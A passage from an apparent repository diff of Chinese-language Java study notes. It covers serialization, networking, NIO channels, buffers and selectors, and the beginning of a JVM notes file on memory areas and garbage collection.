||||
```java
|
||||
public static void main(String[] args) throws IOException, ClassNotFoundException {
|
||||
|
||||
A a1 = new A(123, "abc");
|
||||
String objectFile = "file/a1";
|
||||
|
||||
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(objectFile));
|
||||
objectOutputStream.writeObject(a1);
|
||||
objectOutputStream.close();
|
||||
|
||||
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(objectFile));
|
||||
A a2 = (A) objectInputStream.readObject();
|
||||
objectInputStream.close();
|
||||
System.out.println(a2);
|
||||
}
|
||||
|
||||
private static class A implements Serializable {
|
||||
|
||||
private int x;
|
||||
private String y;
|
||||
|
||||
A(int x, String y) {
|
||||
this.x = x;
|
||||
this.y = y;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return "x = " + x + " " + "y = " + y;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## transient
|
||||
|
||||
transient 关键字可以使一些属性不会被序列化。
|
||||
|
||||
ArrayList 中存储数据的数组 elementData 是用 transient 修饰的,因为这个数组是动态扩展的,并不是所有的空间都被使用,因此就不需要所有的内容都被序列化。通过重写序列化和反序列化方法,使得可以只序列化数组中有内容的那部分数据。
|
||||
|
||||
```java
|
||||
private transient Object[] elementData;
|
||||
```
|
||||
|
||||
# 六、网络操作
|
||||
|
||||
Java 中的网络支持:
|
||||
|
||||
- InetAddress:用于表示网络上的硬件资源,即 IP 地址;
|
||||
- URL:统一资源定位符;
|
||||
- Sockets:使用 TCP 协议实现网络通信;
|
||||
- Datagram:使用 UDP 协议实现网络通信。
|
||||
|
||||
## InetAddress
|
||||
|
||||
没有公有的构造函数,只能通过静态方法来创建实例。
|
||||
|
||||
```java
|
||||
InetAddress.getByName(String host);
|
||||
InetAddress.getByAddress(byte[] address);
|
||||
```
|
||||
|
||||
## URL
|
||||
|
||||
可以直接从 URL 中读取字节流数据。
|
||||
|
||||
```java
|
||||
public static void main(String[] args) throws IOException {
|
||||
|
||||
URL url = new URL("http://www.baidu.com");
|
||||
|
||||
/* 字节流 */
|
||||
InputStream is = url.openStream();
|
||||
|
||||
/* 字符流 */
|
||||
InputStreamReader isr = new InputStreamReader(is, "utf-8");
|
||||
|
||||
/* 提供缓存功能 */
|
||||
BufferedReader br = new BufferedReader(isr);
|
||||
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
System.out.println(line);
|
||||
}
|
||||
|
||||
br.close();
|
||||
}
|
||||
```
|
||||
|
||||
## Sockets
|
||||
|
||||
- ServerSocket:服务器端类
|
||||
- Socket:客户端类
|
||||
- 服务器和客户端通过 InputStream 和 OutputStream 进行输入输出。
|
||||
|
||||
<div align="center"> <img src="../pics//ClienteServidorSockets1521731145260.jpg"/> </div><br>
|
||||
|
||||
## Datagram
|
||||
|
||||
- DatagramSocket:通信类
|
||||
- DatagramPacket:数据包类
|
||||
|
||||
# 七、NIO
|
||||
|
||||
新的输入/输出 (NIO) 库是在 JDK 1.4 中引入的,弥补了原来的 I/O 的不足,提供了高速的、面向块的 I/O。
|
||||
|
||||
## 流与块
|
||||
|
||||
I/O 与 NIO 最重要的区别是数据打包和传输的方式,I/O 以流的方式处理数据,而 NIO 以块的方式处理数据。
|
||||
|
||||
面向流的 I/O 一次处理一个字节数据:一个输入流产生一个字节数据,一个输出流消费一个字节数据。为流式数据创建过滤器非常容易,链接几个过滤器,以便每个过滤器只负责复杂处理机制的一部分。不利的一面是,面向流的 I/O 通常相当慢。
|
||||
|
||||
面向块的 I/O 一次处理一个数据块,按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
|
||||
|
||||
I/O 包和 NIO 已经很好地集成了,java.io.\* 已经以 NIO 为基础重新实现了,所以现在它可以利用 NIO 的一些特性。例如,java.io.\* 包中的一些类包含以块的形式读写数据的方法,这使得即使在面向流的系统中,处理速度也会更快。
|
||||
|
||||
## 通道与缓冲区
|
||||
|
||||
### 1. 通道
|
||||
|
||||
通道 Channel 是对原 I/O 包中的流的模拟,可以通过它读取和写入数据。
|
||||
|
||||
通道与流的不同之处在于,流只能在一个方向上移动(一个流必须是 InputStream 或者 OutputStream 的子类),而通道是双向的,可以用于读、写或者同时用于读写。
|
||||
|
||||
通道包括以下类型:
|
||||
|
||||
- FileChannel:从文件中读写数据;
|
||||
- DatagramChannel:通过 UDP 读写网络中数据;
|
||||
- SocketChannel:通过 TCP 读写网络中数据;
|
||||
- ServerSocketChannel:可以监听新进来的 TCP 连接,对每一个新进来的连接都会创建一个 SocketChannel。
|
||||
|
||||
### 2. 缓冲区
|
||||
|
||||
发送给一个通道的所有数据都必须首先放到缓冲区中,同样地,从通道中读取的任何数据都要先读到缓冲区中。也就是说,不会直接对通道进行读写数据,而是要先经过缓冲区。
|
||||
|
||||
缓冲区实质上是一个数组,但它不仅仅是一个数组。缓冲区提供了对数据的结构化访问,而且还可以跟踪系统的读/写进程。
|
||||
|
||||
缓冲区包括以下类型:
|
||||
|
||||
- ByteBuffer
|
||||
- CharBuffer
|
||||
- ShortBuffer
|
||||
- IntBuffer
|
||||
- LongBuffer
|
||||
- FloatBuffer
|
||||
- DoubleBuffer
|
||||
|
||||
## 缓冲区状态变量
|
||||
|
||||
- capacity:最大容量;
|
||||
- position:当前已经读写的字节数;
|
||||
- limit:还可以读写的字节数。
|
||||
|
||||
状态变量的改变过程举例:
|
||||
|
||||
① 新建一个大小为 8 个字节的缓冲区,此时 position 为 0,而 limit = capacity = 8。capacity 变量不会改变,下面的讨论会忽略它。
|
||||
|
||||
<div align="center"> <img src="../pics//1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png"/> </div><br>
|
||||
|
||||
② 从输入通道中读取 5 个字节数据写入缓冲区中,此时 position 为 5,limit 保持不变。
|
||||
|
||||
<div align="center"> <img src="../pics//80804f52-8815-4096-b506-48eef3eed5c6.png"/> </div><br>
|
||||
|
||||
③ 在将缓冲区的数据写到输出通道之前,需要先调用 flip() 方法,这个方法将 limit 设置为当前 position,并将 position 设置为 0。
|
||||
|
||||
<div align="center"> <img src="../pics//952e06bd-5a65-4cab-82e4-dd1536462f38.png"/> </div><br>
|
||||
|
||||
④ 从缓冲区中取 4 个字节到输出缓冲中,此时 position 设为 4。
|
||||
|
||||
<div align="center"> <img src="../pics//b5bdcbe2-b958-4aef-9151-6ad963cb28b4.png"/> </div><br>
|
||||
|
||||
⑤ 最后需要调用 clear() 方法来清空缓冲区,此时 position 和 limit 都被设置为最初位置。
|
||||
|
||||
<div align="center"> <img src="../pics//67bf5487-c45d-49b6-b9c0-a058d8c68902.png"/> </div><br>
|
||||
|
||||
## 文件 NIO 实例
|
||||
|
||||
以下展示了使用 NIO 快速复制文件的实例:
|
||||
|
||||
```java
|
||||
public static void fastCopy(String src, String dist) throws IOException {
|
||||
|
||||
/* 获得源文件的输入字节流 */
|
||||
FileInputStream fin = new FileInputStream(src);
|
||||
|
||||
/* 获取输入字节流的文件通道 */
|
||||
FileChannel fcin = fin.getChannel();
|
||||
|
||||
/* 获取目标文件的输出字节流 */
|
||||
FileOutputStream fout = new FileOutputStream(dist);
|
||||
|
||||
/* 获取输出字节流的文件通道 */
|
||||
FileChannel fcout = fout.getChannel();
|
||||
|
||||
/* 为缓冲区分配 1024 个字节 */
|
||||
ByteBuffer buffer = ByteBuffer.allocateDirect(1024);
|
||||
|
||||
while (true) {
|
||||
|
||||
/* 从输入通道中读取数据到缓冲区中 */
|
||||
int r = fcin.read(buffer);
|
||||
|
||||
/* read() 返回 -1 表示 EOF */
|
||||
if (r == -1) {
|
||||
break;
|
||||
}
|
||||
|
||||
/* 切换读写 */
|
||||
buffer.flip();
|
||||
|
||||
/* 把缓冲区的内容写入输出文件中 */
|
||||
fcout.write(buffer);
|
||||
|
||||
/* 清空缓冲区 */
|
||||
buffer.clear();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 选择器
|
||||
|
||||
NIO 常常被叫做非阻塞 IO,主要是因为 NIO 在网络通信中的非阻塞特性被广泛使用。
|
||||
|
||||
NIO 实现了 IO 多路复用中的 Reactor 模型,一个线程 Thread 使用一个选择器 Selector 通过轮询的方式去监听多个通道 Channel 上的事件,从而让一个线程就可以处理多个事件。
|
||||
|
||||
通过配置监听的通道 Channel 为非阻塞,那么当 Channel 上的 IO 事件还未到达时,就不会进入阻塞状态一直等待,而是继续轮询其它 Channel,找到 IO 事件已经到达的 Channel 执行。
|
||||
|
||||
因为创建和切换线程的开销很大,因此使用一个线程来处理多个事件而不是一个线程处理一个事件,对于 IO 密集型的应用具有很好地性能。
|
||||
|
||||
应该注意的是,只有套接字 Channel 才能配置为非阻塞,而 FileChannel 不能,为 FileChannel 配置非阻塞也没有意义。
|
||||
|
||||
<div align="center"> <img src="../pics//4d930e22-f493-49ae-8dff-ea21cd6895dc.png"/> </div><br>
|
||||
|
||||
### 1. 创建选择器
|
||||
|
||||
```java
|
||||
Selector selector = Selector.open();
|
||||
```
|
||||
|
||||
### 2. 将通道注册到选择器上
|
||||
|
||||
```java
|
||||
ServerSocketChannel ssChannel = ServerSocketChannel.open();
|
||||
ssChannel.configureBlocking(false);
|
||||
ssChannel.register(selector, SelectionKey.OP_ACCEPT);
|
||||
```
|
||||
|
||||
通道必须配置为非阻塞模式,否则使用选择器就没有任何意义了,因为如果通道在某个事件上被阻塞,那么服务器就不能响应其它事件,必须等待这个事件处理完毕才能去处理其它事件,显然这和选择器的作用背道而驰。
|
||||
|
||||
在将通道注册到选择器上时,还需要指定要注册的具体事件,主要有以下几类:
|
||||
|
||||
- SelectionKey.OP_CONNECT
|
||||
- SelectionKey.OP_ACCEPT
|
||||
- SelectionKey.OP_READ
|
||||
- SelectionKey.OP_WRITE
|
||||
|
||||
它们在 SelectionKey 的定义如下:
|
||||
|
||||
```java
|
||||
public static final int OP_READ = 1 << 0;
|
||||
public static final int OP_WRITE = 1 << 2;
|
||||
public static final int OP_CONNECT = 1 << 3;
|
||||
public static final int OP_ACCEPT = 1 << 4;
|
||||
```
|
||||
|
||||
可以看出每个事件可以被当成一个位域,从而组成事件集整数。例如:
|
||||
|
||||
```java
|
||||
int interestSet = SelectionKey.OP_READ | SelectionKey.OP_WRITE;
|
||||
```
|
||||
|
||||
### 3. 监听事件
|
||||
|
||||
```java
|
||||
int num = selector.select();
|
||||
```
|
||||
|
||||
使用 select() 来监听到达的事件,它会一直阻塞直到有至少一个事件到达。
|
||||
|
||||
### 4. 获取到达的事件
|
||||
|
||||
```java
|
||||
Set<SelectionKey> keys = selector.selectedKeys();
|
||||
Iterator<SelectionKey> keyIterator = keys.iterator();
|
||||
while (keyIterator.hasNext()) {
|
||||
SelectionKey key = keyIterator.next();
|
||||
if (key.isAcceptable()) {
|
||||
// ...
|
||||
} else if (key.isReadable()) {
|
||||
// ...
|
||||
}
|
||||
keyIterator.remove();
|
||||
}
|
||||
```
|
||||
|
||||
### 5. 事件循环
|
||||
|
||||
因为一次 select() 调用不能处理完所有的事件,并且服务器端有可能需要一直监听事件,因此服务器端处理事件的代码一般会放在一个死循环内。
|
||||
|
||||
```java
|
||||
while (true) {
|
||||
int num = selector.select();
|
||||
Set<SelectionKey> keys = selector.selectedKeys();
|
||||
Iterator<SelectionKey> keyIterator = keys.iterator();
|
||||
while (keyIterator.hasNext()) {
|
||||
SelectionKey key = keyIterator.next();
|
||||
if (key.isAcceptable()) {
|
||||
// ...
|
||||
} else if (key.isReadable()) {
|
||||
// ...
|
||||
}
|
||||
keyIterator.remove();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 套接字 NIO 实例
|
||||
|
||||
```java
|
||||
public class NIOServer {
|
||||
|
||||
public static void main(String[] args) throws IOException {
|
||||
|
||||
Selector selector = Selector.open();
|
||||
|
||||
ServerSocketChannel ssChannel = ServerSocketChannel.open();
|
||||
ssChannel.configureBlocking(false);
|
||||
ssChannel.register(selector, SelectionKey.OP_ACCEPT);
|
||||
|
||||
ServerSocket serverSocket = ssChannel.socket();
|
||||
InetSocketAddress address = new InetSocketAddress("127.0.0.1", 8888);
|
||||
serverSocket.bind(address);
|
||||
|
||||
while (true) {
|
||||
|
||||
selector.select();
|
||||
Set<SelectionKey> keys = selector.selectedKeys();
|
||||
Iterator<SelectionKey> keyIterator = keys.iterator();
|
||||
|
||||
while (keyIterator.hasNext()) {
|
||||
|
||||
SelectionKey key = keyIterator.next();
|
||||
|
||||
if (key.isAcceptable()) {
|
||||
|
||||
ServerSocketChannel ssChannel1 = (ServerSocketChannel) key.channel();
|
||||
|
||||
// 服务器会为每个新连接创建一个 SocketChannel
|
||||
SocketChannel sChannel = ssChannel1.accept();
|
||||
sChannel.configureBlocking(false);
|
||||
|
||||
// 这个新连接主要用于从客户端读取数据
|
||||
sChannel.register(selector, SelectionKey.OP_READ);
|
||||
|
||||
} else if (key.isReadable()) {
|
||||
|
||||
SocketChannel sChannel = (SocketChannel) key.channel();
|
||||
System.out.println(readDataFromSocketChannel(sChannel));
|
||||
sChannel.close();
|
||||
}
|
||||
|
||||
keyIterator.remove();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static String readDataFromSocketChannel(SocketChannel sChannel) throws IOException {
|
||||
|
||||
ByteBuffer buffer = ByteBuffer.allocate(1024);
|
||||
StringBuilder data = new StringBuilder();
|
||||
|
||||
while (true) {
|
||||
|
||||
buffer.clear();
|
||||
int n = sChannel.read(buffer);
|
||||
if (n == -1) {
|
||||
break;
|
||||
}
|
||||
buffer.flip();
|
||||
int limit = buffer.limit();
|
||||
char[] dst = new char[limit];
|
||||
for (int i = 0; i < limit; i++) {
|
||||
dst[i] = (char) buffer.get(i);
|
||||
}
|
||||
data.append(dst);
|
||||
buffer.clear();
|
||||
}
|
||||
return data.toString();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
```java
|
||||
public class NIOClient {
|
||||
|
||||
public static void main(String[] args) throws IOException {
|
||||
Socket socket = new Socket("127.0.0.1", 8888);
|
||||
OutputStream out = socket.getOutputStream();
|
||||
String s = "hello world";
|
||||
out.write(s.getBytes());
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 内存映射文件
|
||||
|
||||
内存映射文件 I/O 是一种读和写文件数据的方法,它可以比常规的基于流或者基于通道的 I/O 快得多。
|
||||
|
||||
向内存映射文件写入可能是危险的,只是改变数组的单个元素这样的简单操作,就可能会直接修改磁盘上的文件。修改数据与将数据保存到磁盘是没有分开的。
|
||||
|
||||
下面代码行将文件的前 1024 个字节映射到内存中,map() 方法返回一个 MappedByteBuffer,它是 ByteBuffer 的子类。因此,可以像使用其他任何 ByteBuffer 一样使用新映射的缓冲区,操作系统会在需要时负责执行映射。
|
||||
|
||||
```java
|
||||
MappedByteBuffer mbb = fc.map(FileChannel.MapMode.READ_WRITE, 0, 1024);
|
||||
```
|
||||
|
||||
## 对比
|
||||
|
||||
NIO 与普通 I/O 的区别主要有以下两点:
|
||||
|
||||
- NIO 是非阻塞的;
|
||||
- NIO 面向块,I/O 面向流。
|
||||
|
||||
# 八、参考资料
|
||||
|
||||
- Eckel B, 埃克尔, 昊鹏, 等. Java 编程思想 [M]. 机械工业出版社, 2002.
|
||||
- [IBM: NIO 入门](https://www.ibm.com/developerworks/cn/education/java/j-nio/j-nio.html)
|
||||
- [Java NIO Tutorial](http://tutorials.jenkov.com/java-nio/index.html)
|
||||
- [Java NIO 浅析](https://tech.meituan.com/nio.html)
|
||||
- [IBM: 深入分析 Java I/O 的工作机制](https://www.ibm.com/developerworks/cn/java/j-lo-javaio/index.html)
|
||||
- [IBM: 深入分析 Java 中的中文编码问题](https://www.ibm.com/developerworks/cn/java/j-lo-chinesecoding/index.html)
|
||||
- [IBM: Java 序列化的高级认识](https://www.ibm.com/developerworks/cn/java/j-lo-serial/index.html)
|
||||
- [NIO 与传统 IO 的区别](http://blog.csdn.net/shimiso/article/details/24990499)
|
||||
- [Decorator Design Pattern](http://stg-tud.github.io/sedc/Lecture/ws13-14/5.3-Decorator.html#mode=document)
|
||||
- [Socket Multicast](http://labojava.blogspot.com/2012/12/socket-multicast.html)
|
1315
docs/notes/Java 基础.md
Normal file
1315
docs/notes/Java 基础.md
Normal file
File diff suppressed because it is too large
Load Diff
1193
docs/notes/Java 容器.md
Normal file
1193
docs/notes/Java 容器.md
Normal file
File diff suppressed because it is too large
Load Diff
1638
docs/notes/Java 并发.md
Normal file
1638
docs/notes/Java 并发.md
Normal file
File diff suppressed because it is too large
Load Diff
749
docs/notes/Java 虚拟机.md
Normal file
749
docs/notes/Java 虚拟机.md
Normal file
@ -0,0 +1,749 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、运行时数据区域](#一运行时数据区域)
|
||||
* [程序计数器](#程序计数器)
|
||||
* [Java 虚拟机栈](#java-虚拟机栈)
|
||||
* [本地方法栈](#本地方法栈)
|
||||
* [堆](#堆)
|
||||
* [方法区](#方法区)
|
||||
* [运行时常量池](#运行时常量池)
|
||||
* [直接内存](#直接内存)
|
||||
* [二、垃圾收集](#二垃圾收集)
|
||||
* [判断一个对象是否可被回收](#判断一个对象是否可被回收)
|
||||
* [引用类型](#引用类型)
|
||||
* [垃圾收集算法](#垃圾收集算法)
|
||||
* [垃圾收集器](#垃圾收集器)
|
||||
* [三、内存分配与回收策略](#三内存分配与回收策略)
|
||||
* [Minor GC 和 Full GC](#minor-gc-和-full-gc)
|
||||
* [内存分配策略](#内存分配策略)
|
||||
* [Full GC 的触发条件](#full-gc-的触发条件)
|
||||
* [四、类加载机制](#四类加载机制)
|
||||
* [类的生命周期](#类的生命周期)
|
||||
* [类加载过程](#类加载过程)
|
||||
* [类初始化时机](#类初始化时机)
|
||||
* [类与类加载器](#类与类加载器)
|
||||
* [类加载器分类](#类加载器分类)
|
||||
* [双亲委派模型](#双亲委派模型)
|
||||
* [自定义类加载器实现](#自定义类加载器实现)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、运行时数据区域
|
||||
|
||||
<div align="center"> <img src="../pics//85370d54-40d1-4912-bcbe-37a2481c861d.png" width="450"/> </div><br>
|
||||
|
||||
## 程序计数器
|
||||
|
||||
记录正在执行的虚拟机字节码指令的地址(如果正在执行的是本地方法则为空)。
|
||||
|
||||
## Java 虚拟机栈
|
||||
|
||||
每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。从方法调用直至执行完成的过程,就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
|
||||
|
||||
<div align="center"> <img src="../pics//28ab96b4-82ea-4d99-99fb-b320f60d0a58.png" width="500"/> </div><br>
|
||||
|
||||
可以通过 -Xss 这个虚拟机参数来指定每个线程的 Java 虚拟机栈内存大小:
|
||||
|
||||
```java
|
||||
java -Xss512M HackTheJava
|
||||
```
|
||||
|
||||
该区域可能抛出以下异常:
|
||||
|
||||
- 当线程请求的栈深度超过最大值,会抛出 StackOverflowError 异常;
|
||||
- 栈进行动态扩展时如果无法申请到足够内存,会抛出 OutOfMemoryError 异常。
|
||||
|
||||
## 本地方法栈
|
||||
|
||||
本地方法栈与 Java 虚拟机栈类似,它们之间的区别只不过是本地方法栈为本地方法服务。
|
||||
|
||||
本地方法一般是用其它语言(C、C++ 或汇编语言等)编写的,并且被编译为基于本机硬件和操作系统的程序,对待这些方法需要特别处理。
|
||||
|
||||
<div align="center"> <img src="../pics//JNI-Java-Native-Interface.jpg" width="350"/> </div><br>
|
||||
|
||||
## 堆
|
||||
|
||||
所有对象都在这里分配内存,是垃圾收集的主要区域("GC 堆")。
|
||||
|
||||
现代的垃圾收集器基本都是采用分代收集算法,其主要的思想是针对不同类型的对象采取不同的垃圾回收算法,可以将堆分成两块:
|
||||
|
||||
- 新生代(Young Generation)
|
||||
- 老年代(Old Generation)
|
||||
|
||||
堆不需要连续内存,并且可以动态增加其内存,增加失败会抛出 OutOfMemoryError 异常。
|
||||
|
||||
可以通过 -Xms 和 -Xmx 两个虚拟机参数来指定一个程序的堆内存大小,第一个参数设置初始值,第二个参数设置最大值。
|
||||
|
||||
```java
|
||||
java -Xms1M -Xmx2M HackTheJava
|
||||
```
|
||||
|
||||
## 方法区
|
||||
|
||||
用于存放已被加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。
|
||||
|
||||
和堆一样不需要连续的内存,并且可以动态扩展,动态扩展失败一样会抛出 OutOfMemoryError 异常。
|
||||
|
||||
对这块区域进行垃圾回收的主要目标是对常量池的回收和对类的卸载,但是一般比较难实现。
|
||||
|
||||
HotSpot 虚拟机把它当成永久代来进行垃圾回收。但是很难确定永久代的大小,因为它受到很多因素影响,并且每次 Full GC 之后永久代的大小都会改变,所以经常会抛出 OutOfMemoryError 异常。为了更容易管理方法区,从 JDK 1.8 开始,移除永久代,并把方法区移至元空间,它位于本地内存中,而不是虚拟机内存中。
|
||||
|
||||
## 运行时常量池
|
||||
|
||||
运行时常量池是方法区的一部分。
|
||||
|
||||
Class 文件中的常量池(编译器生成的各种字面量和符号引用)会在类加载后被放入这个区域。
|
||||
|
||||
除了在编译期生成的常量,还允许动态生成,例如 String 类的 intern()。
|
||||
|
||||
## 直接内存
|
||||
|
||||
在 JDK 1.4 中新加入了 NIO 类,它可以使用 Native 函数库直接分配堆外内存(Native 堆),然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。
|
||||
|
||||
这样能在一些场景中显著提高性能,因为避免了在 Java 堆和 Native 堆中来回复制数据。
|
||||
|
||||
# 二、垃圾收集
|
||||
|
||||
垃圾收集主要是针对堆和方法区进行。
|
||||
|
||||
程序计数器、虚拟机栈和本地方法栈这三个区域属于线程私有的,只存在于线程的生命周期内,线程结束之后也会消失,因此不需要对这三个区域进行垃圾回收。
|
||||
|
||||
## 判断一个对象是否可被回收
|
||||
|
||||
### 1. 引用计数算法
|
||||
|
||||
给对象添加一个引用计数器,当对象增加一个引用时计数器加 1,引用失效时计数器减 1。引用计数为 0 的对象可被回收。
|
||||
|
||||
两个对象出现循环引用的情况下,此时引用计数器永远不为 0,导致无法对它们进行回收。
|
||||
|
||||
正因为循环引用的存在,因此 Java 虚拟机不使用引用计数算法。
|
||||
|
||||
```java
|
||||
public class ReferenceCountingGC {
|
||||
|
||||
public Object instance = null;
|
||||
|
||||
public static void main(String[] args) {
|
||||
ReferenceCountingGC objectA = new ReferenceCountingGC();
|
||||
ReferenceCountingGC objectB = new ReferenceCountingGC();
|
||||
objectA.instance = objectB;
|
||||
objectB.instance = objectA;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 2. 可达性分析算法
|
||||
|
||||
通过 GC Roots 作为起始点进行搜索,能够到达到的对象都是存活的,不可达的对象可被回收。
|
||||
|
||||
Java 虚拟机使用该算法来判断对象是否可被回收,在 Java 中 GC Roots 一般包含以下内容:
|
||||
|
||||
- 虚拟机栈中局部变量表中引用的对象
|
||||
- 本地方法栈中 JNI 中引用的对象
|
||||
- 方法区中类静态属性引用的对象
|
||||
- 方法区中的常量引用的对象
|
||||
|
||||
<div align="center"> <img src="../pics//0635cbe8.png" width=""/> </div><br>
|
||||
|
||||
### 3. 方法区的回收
|
||||
|
||||
因为方法区主要存放永久代对象,而永久代对象的回收率比新生代低很多,因此在方法区上进行回收性价比不高。
|
||||
|
||||
主要是对常量池的回收和对类的卸载。
|
||||
|
||||
在大量使用反射、动态代理、CGLib 等 ByteCode 框架、动态生成 JSP 以及 OSGi 这类频繁自定义 ClassLoader 的场景都需要虚拟机具备类卸载功能,以保证不会出现内存溢出。
|
||||
|
||||
类的卸载条件很多,需要满足以下三个条件,并且满足了也不一定会被卸载:
|
||||
|
||||
- 该类所有的实例都已经被回收,也就是堆中不存在该类的任何实例。
|
||||
- 加载该类的 ClassLoader 已经被回收。
|
||||
- 该类对应的 Class 对象没有在任何地方被引用,也就无法在任何地方通过反射访问该类方法。
|
||||
|
||||
可以通过 -Xnoclassgc 参数来控制是否对类进行卸载。
|
||||
|
||||
### 4. finalize()
|
||||
|
||||
finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。但是 try-finally 等方式可以做的更好,并且该方法运行代价高昂,不确定性大,无法保证各个对象的调用顺序,因此最好不要使用。
|
||||
|
||||
当一个对象可被回收时,如果需要执行该对象的 finalize() 方法,那么就有可能在该方法中让对象重新被引用,从而实现自救。自救只能进行一次,如果回收的对象之前调用了 finalize() 方法自救,后面回收时不会调用 finalize() 方法。
|
||||
|
||||
## 引用类型
|
||||
|
||||
无论是通过引用计数算法判断对象的引用数量,还是通过可达性分析算法判断对象是否可达,判定对象是否可被回收都与引用有关。
|
||||
|
||||
Java 提供了四种强度不同的引用类型。
|
||||
|
||||
### 1. 强引用
|
||||
|
||||
被强引用关联的对象不会被回收。
|
||||
|
||||
使用 new 一个新对象的方式来创建强引用。
|
||||
|
||||
```java
|
||||
Object obj = new Object();
|
||||
```
|
||||
|
||||
### 2. 软引用
|
||||
|
||||
被软引用关联的对象只有在内存不够的情况下才会被回收。
|
||||
|
||||
使用 SoftReference 类来创建软引用。
|
||||
|
||||
```java
|
||||
Object obj = new Object();
|
||||
SoftReference<Object> sf = new SoftReference<Object>(obj);
|
||||
obj = null; // 使对象只被软引用关联
|
||||
```
|
||||
|
||||
### 3. 弱引用
|
||||
|
||||
被弱引用关联的对象一定会被回收,也就是说它只能存活到下一次垃圾回收发生之前。
|
||||
|
||||
使用 WeakReference 类来实现弱引用。
|
||||
|
||||
```java
|
||||
Object obj = new Object();
|
||||
WeakReference<Object> wf = new WeakReference<Object>(obj);
|
||||
obj = null;
|
||||
```
|
||||
|
||||
### 4. 虚引用
|
||||
|
||||
又称为幽灵引用或者幻影引用。一个对象是否有虚引用的存在,完全不会对其生存时间构成影响,也无法通过虚引用取得一个对象。
|
||||
|
||||
为一个对象设置虚引用关联的唯一目的就是能在这个对象被回收时收到一个系统通知。
|
||||
|
||||
使用 PhantomReference 来实现虚引用。
|
||||
|
||||
```java
|
||||
Object obj = new Object();
|
||||
PhantomReference<Object> pf = new PhantomReference<Object>(obj);
|
||||
obj = null;
|
||||
```
|
||||
|
||||
## 垃圾收集算法
|
||||
|
||||
### 1. 标记 - 清除
|
||||
|
||||
<div align="center"> <img src="../pics//a4248c4b-6c1d-4fb8-a557-86da92d3a294.jpg" width=""/> </div><br>
|
||||
|
||||
标记要回收的对象,然后清除。
|
||||
|
||||
不足:
|
||||
|
||||
- 标记和清除过程效率都不高;
|
||||
- 会产生大量不连续的内存碎片,导致无法给大对象分配内存。
|
||||
|
||||
### 2. 标记 - 整理
|
||||
|
||||
<div align="center"> <img src="../pics//902b83ab-8054-4bd2-898f-9a4a0fe52830.jpg" width=""/> </div><br>
|
||||
|
||||
让所有存活的对象都向一端移动,然后直接清理掉端边界以外的内存。
|
||||
|
||||
### 3. 复制
|
||||
|
||||
<div align="center"> <img src="../pics//e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg" width=""/> </div><br>
|
||||
|
||||
将内存划分为大小相等的两块,每次只使用其中一块,当这一块内存用完了就将还存活的对象复制到另一块上面,然后再把使用过的内存空间进行一次清理。
|
||||
|
||||
主要不足是只使用了内存的一半。
|
||||
|
||||
现在的商业虚拟机都采用这种收集算法来回收新生代,但是并不是将新生代划分为大小相等的两块,而是分为一块较大的 Eden 空间和两块较小的 Survivor 空间,每次使用 Eden 空间和其中一块 Survivor。在回收时,将 Eden 和 Survivor 中还存活着的对象一次性复制到另一块 Survivor 空间上,最后清理 Eden 和使用过的那一块 Survivor。
|
||||
|
||||
HotSpot 虚拟机的 Eden 和 Survivor 的大小比例默认为 8:1,保证了内存的利用率达到 90%。如果每次回收有多于 10% 的对象存活,那么一块 Survivor 空间就不够用了,此时需要依赖于老年代进行分配担保,也就是借用老年代的空间存储放不下的对象。
|
||||
|
||||
### 4. 分代收集
|
||||
|
||||
现在的商业虚拟机采用分代收集算法,它根据对象存活周期将内存划分为几块,不同块采用适当的收集算法。
|
||||
|
||||
一般将堆分为新生代和老年代。
|
||||
|
||||
- 新生代使用:复制算法
|
||||
- 老年代使用:标记 - 清除 或者 标记 - 整理 算法
|
||||
|
||||
## 垃圾收集器
|
||||
|
||||
<div align="center"> <img src="../pics//c625baa0-dde6-449e-93df-c3a67f2f430f.jpg" width=""/> </div><br>
|
||||
|
||||
以上是 HotSpot 虚拟机中的 7 个垃圾收集器,连线表示垃圾收集器可以配合使用。
|
||||
|
||||
- 单线程与多线程:单线程指的是垃圾收集器只使用一个线程进行收集,而多线程使用多个线程;
|
||||
- 串行与并行:串行指的是垃圾收集器与用户程序交替执行,这意味着在执行垃圾收集的时候需要停顿用户程序;并行指的是垃圾收集器和用户程序同时执行。除了 CMS 和 G1 之外,其它垃圾收集器都是以串行的方式执行。
|
||||
|
||||
### 1. Serial 收集器
|
||||
|
||||
<div align="center"> <img src="../pics//22fda4ae-4dd5-489d-ab10-9ebfdad22ae0.jpg" width=""/> </div><br>
|
||||
|
||||
Serial 翻译为串行,也就是说它以串行的方式执行。
|
||||
|
||||
它是单线程的收集器,只会使用一个线程进行垃圾收集工作。
|
||||
|
||||
它的优点是简单高效,对于单个 CPU 环境来说,由于没有线程交互的开销,因此拥有最高的单线程收集效率。
|
||||
|
||||
它是 Client 模式下的默认新生代收集器,因为在该应用场景下,分配给虚拟机管理的内存一般来说不会很大。Serial 收集器收集几十兆甚至一两百兆的新生代停顿时间可以控制在一百多毫秒以内,只要不是太频繁,这点停顿是可以接受的。
|
||||
|
||||
### 2. ParNew 收集器
|
||||
|
||||
<div align="center"> <img src="../pics//81538cd5-1bcf-4e31-86e5-e198df1e013b.jpg" width=""/> </div><br>
|
||||
|
||||
